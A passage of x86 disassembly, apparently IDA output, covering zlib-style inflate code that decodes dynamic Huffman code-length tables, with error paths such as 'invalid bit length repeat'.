		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42B962:				; CODE XREF: sub_42B1FD+708j
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, [ebp+var_14]
		shl	edx, cl
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		add	edx, 8
		mov	[ebp+var_14], edx
		jmp	loc_42B8EE
; ---------------------------------------------------------------------------


loc_42B996:				; CODE XREF: sub_42B1FD+6F5j
		mov	eax, [ebp+var_C]
		and	eax, 3FFFh
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_10]
		and	eax, 1Fh
		cmp	eax, 1Dh
		ja	short loc_42B9C3
		mov	ecx, [ebp+var_10]
		shr	ecx, 5
		and	ecx, 1Fh
		cmp	ecx, 1Dh
		jbe	short loc_42BA38


loc_42B9C3:				; CODE XREF: sub_42B1FD+7B6j
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 9
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+18h], offset aTooManyLengthO ; "too many	length or distance symbols"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42BA38:				; CODE XREF: sub_42B1FD+7C4j
		mov	ecx, [ebp+var_10]
		and	ecx, 1Fh
		mov	edx, [ebp+var_10]
		shr	edx, 5
		and	edx, 1Fh
		lea	eax, [ecx+edx+102h]
		mov	[ebp+var_10], eax
		push	4
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_4]
		call	dword ptr [ecx+20h]
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ch], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_42BAD8
		mov	[ebp+arg_8], 0FFFFFFFCh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42BAD8:				; CODE XREF: sub_42B1FD+877j
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Eh
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_14]
		sub	edx, 0Eh
		mov	[ebp+var_14], edx
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 4


loc_42BAFD:				; CODE XREF: sub_42B1FD+75j
					; sub_42B1FD+9FFj
					; DATA XREF: ...
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		shr	eax, 0Ah
		add	eax, 4
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+8], eax
		jnb	loc_42BC01


loc_42BB15:				; CODE XREF: sub_42B1FD+9BDj
		cmp	[ebp+var_14], 3
		jnb	loc_42BBBF
		cmp	[ebp+var_1C], 0
		jz	short loc_42BB2E
		mov	[ebp+arg_8], 0
		jmp	short loc_42BB89
; ---------------------------------------------------------------------------


loc_42BB2E:				; CODE XREF: sub_42B1FD+926j
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42BB89:				; CODE XREF: sub_42B1FD+92Fj
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		mov	ecx, [ebp+var_14]
		shl	edx, cl
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		add	edx, 8
		mov	[ebp+var_14], edx
		jmp	loc_42BB15
; ---------------------------------------------------------------------------


loc_42BBBF:				; CODE XREF: sub_42B1FD+91Cj
		mov	eax, [ebp+var_C]
		and	eax, 7
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		mov	ecx, dword_434440[edx*4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+0Ch]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_C]
		shr	eax, 3
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 3
		mov	[ebp+var_14], ecx
		jmp	loc_42BAFD
; ---------------------------------------------------------------------------


loc_42BC01:				; CODE XREF: sub_42B1FD+912j
					; sub_42B1FD+A36j
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+8], 13h
		jnb	short loc_42BC35
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	edx, dword_434440[ecx*4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		mov	dword ptr [ecx+edx*4], 0
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		jmp	short loc_42BC01
; ---------------------------------------------------------------------------


loc_42BC35:				; CODE XREF: sub_42B1FD+A0Bj
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+10h], 7
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		mov	eax, [ebp+arg_0]
		add	eax, 14h
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 10h
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_42CE8E
		add	esp, 14h
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_42BCFB
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_4]
		call	dword ptr [edx+24h]
		add	esp, 8
		mov	eax, [ebp+var_10]
		mov	[ebp+arg_8], eax
		cmp	[ebp+arg_8], 0FFFFFFFDh
		jnz	short loc_42BCA0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 9


loc_42BCA0:				; CODE XREF: sub_42B1FD+A98j
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42BCFB:				; CODE XREF: sub_42B1FD+A71j
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 5


loc_42BD0E:				; CODE XREF: sub_42B1FD+75j
					; sub_42B1FD:loc_42C09Cj
					; DATA XREF: ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		and	eax, 1Fh
		mov	ecx, [ebp+var_10]
		shr	ecx, 5
		and	ecx, 1Fh
		lea	edx, [eax+ecx+102h]
		mov	eax, [ebp+arg_0]
		cmp	[eax+8], edx
		jnb	loc_42C0A1
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+10h]
		mov	[ebp+var_10], edx


loc_42BD42:				; CODE XREF: sub_42B1FD+BEAj
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_10]
		jnb	loc_42BDEC
		cmp	[ebp+var_1C], 0
		jz	short loc_42BD5D
		mov	[ebp+arg_8], 0
		jmp	short loc_42BDB8
; ---------------------------------------------------------------------------


loc_42BD5D:				; CODE XREF: sub_42B1FD+B55j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42BDB8:				; CODE XREF: sub_42B1FD+B5Ej
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_14]
		shl	eax, cl
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_14]
		add	eax, 8
		mov	[ebp+var_14], eax
		jmp	loc_42BD42
; ---------------------------------------------------------------------------


loc_42BDEC:				; CODE XREF: sub_42B1FD+B4Bj
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_C]
		and	edx, dword_4332F8[ecx*4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		lea	edx, [ecx+edx*8]
		mov	[ebp+var_34], edx
		mov	eax, [ebp+var_34]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_34]
		mov	eax, [edx+4]
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 10h
		jnb	short loc_42BE59
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+var_10]
		shr	edx, cl
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		sub	eax, [ebp+var_10]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		mov	eax, [ebp+var_30]
		mov	[ecx+edx*4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		jmp	loc_42C09C
; ---------------------------------------------------------------------------


loc_42BE59:				; CODE XREF: sub_42B1FD+C20j
		cmp	[ebp+var_30], 12h
		jnz	short loc_42BE68
		mov	[ebp+var_70], 7
		jmp	short loc_42BE71
; ---------------------------------------------------------------------------


loc_42BE68:				; CODE XREF: sub_42B1FD+C60j
		mov	ecx, [ebp+var_30]
		sub	ecx, 0Eh
		mov	[ebp+var_70], ecx


loc_42BE71:				; CODE XREF: sub_42B1FD+C69j
		mov	edx, [ebp+var_70]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_30]
		sub	eax, 12h
		neg	eax
		sbb	eax, eax
		and	al, 0F8h
		add	eax, 0Bh
		mov	[ebp+var_3C], eax


loc_42BE89:				; CODE XREF: sub_42B1FD+D36j
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_38]
		cmp	[ebp+var_14], ecx
		jnb	loc_42BF38
		cmp	[ebp+var_1C], 0
		jz	short loc_42BEA7
		mov	[ebp+arg_8], 0
		jmp	short loc_42BF02
; ---------------------------------------------------------------------------


loc_42BEA7:				; CODE XREF: sub_42B1FD+C9Fj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42BF02:				; CODE XREF: sub_42B1FD+CA8j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		mov	ecx, [ebp+var_14]
		shl	edx, cl
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		add	edx, 8
		mov	[ebp+var_14], edx
		jmp	loc_42BE89
; ---------------------------------------------------------------------------


loc_42BF38:				; CODE XREF: sub_42B1FD+C95j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_10]
		shr	eax, cl
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, [ebp+var_10]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_C]
		and	eax, dword_4332F8[edx*4]
		mov	ecx, [ebp+var_3C]
		add	ecx, eax
		mov	[ebp+var_3C], ecx
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+var_38]
		shr	edx, cl
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		sub	eax, [ebp+var_38]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_3C]
		mov	eax, [ebp+var_10]
		and	eax, 1Fh
		mov	ecx, [ebp+var_10]
		shr	ecx, 5
		and	ecx, 1Fh
		lea	eax, [eax+ecx+102h]
		cmp	edx, eax
		ja	short loc_42BFBB
		cmp	[ebp+var_30], 10h
		jnz	loc_42C047
		cmp	[ebp+var_38], 1
		jnb	loc_42C047


loc_42BFBB:				; CODE XREF: sub_42B1FD+DA8j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_4]
		call	dword ptr [edx+24h]
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 9
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+18h], offset aInvalidBitLeng ; "invalid bit length repeat"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42C047:				; CODE XREF: sub_42B1FD+DAEj
					; sub_42B1FD+DB8j
		cmp	[ebp+var_30], 10h
		jnz	short loc_42C05F
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+var_38]
		mov	edx, [eax+ecx*4-4]
		mov	[ebp+var_74], edx
		jmp	short loc_42C066
; ---------------------------------------------------------------------------


loc_42C05F:				; CODE XREF: sub_42B1FD+E4Ej
		mov	[ebp+var_74], 0


loc_42C066:				; CODE XREF: sub_42B1FD+E60j
		mov	eax, [ebp+var_74]
		mov	[ebp+var_30], eax


loc_42C06C:				; CODE XREF: sub_42B1FD+E94j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		mov	eax, [ebp+var_38]
		mov	ecx, [ebp+var_30]
		mov	[edx+eax*4], ecx
		mov	edx, [ebp+var_38]
		add	edx, 1
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_3C]
		sub	eax, 1
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0
		jnz	short loc_42C06C
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_38]
		mov	[ecx+8], edx


loc_42C09C:				; CODE XREF: sub_42B1FD+C57j
		jmp	loc_42BD0E
; ---------------------------------------------------------------------------


loc_42C0A1:				; CODE XREF: sub_42B1FD+B36j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+14h], 0
		mov	[ebp+var_4C], 9
		mov	[ebp+var_40], 6
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		lea	eax, [ebp+var_50]
		push	eax
		lea	ecx, [ebp+var_48]
		push	ecx
		lea	edx, [ebp+var_40]
		push	edx
		lea	eax, [ebp+var_4C]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+var_10]
		shr	eax, 5
		and	eax, 1Fh
		add	eax, 1
		push	eax
		mov	ecx, [ebp+var_10]
		and	ecx, 1Fh
		add	ecx, 101h
		push	ecx
		call	sub_42CF36
		add	esp, 24h
		mov	[ebp+var_10], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_4]
		call	dword ptr [eax+24h]
		add	esp, 8
		cmp	[ebp+var_10], 0
		jz	short loc_42C196
		cmp	[ebp+var_10], 0FFFFFFFDh
		jnz	short loc_42C135
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 9


loc_42C135:				; CODE XREF: sub_42B1FD+F2Dj
		mov	edx, [ebp+var_10]
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42C196:				; CODE XREF: sub_42B1FD+F27j
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_50]
		push	ecx
		mov	edx, [ebp+var_48]
		push	edx
		mov	eax, [ebp+var_40]
		push	eax
		mov	ecx, [ebp+var_4C]
		push	ecx
		call	sub_42A289
		add	esp, 14h
		mov	[ebp+var_44], eax
		cmp	[ebp+var_44], 0
		jnz	short loc_42C21D
		mov	[ebp+arg_8], 0FFFFFFFCh
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42C21D:				; CODE XREF: sub_42B1FD+FBCj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_44]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 6


loc_42C22F:				; CODE XREF: sub_42B1FD+75j
					; DATA XREF: TEUm:0042C545o
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A2DE
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		cmp	[ebp+arg_8], 1
		jz	short loc_42C2A7
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42C2A7:				; CODE XREF: sub_42B1FD+108Fj
		mov	[ebp+arg_8], 0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_42B035
		add	esp, 8
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+34h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+30h]
		jnb	short loc_42C309
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_78], eax
		jmp	short loc_42C315
; ---------------------------------------------------------------------------


loc_42C309:				; CODE XREF: sub_42B1FD+10F9j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+var_8]
		mov	[ebp+var_78], edx


loc_42C315:				; CODE XREF: sub_42B1FD+110Aj
		mov	eax, [ebp+var_78]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_42C332
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		jmp	loc_42C524
; ---------------------------------------------------------------------------


loc_42C332:				; CODE XREF: sub_42B1FD+1125j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 7


loc_42C33B:				; CODE XREF: sub_42B1FD+75j
					; DATA XREF: TEUm:0042C549o
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42A0B0
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+34h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		cmp	eax, [edx+30h]
		jnb	short loc_42C380
		mov	ecx, [ebp+arg_0]
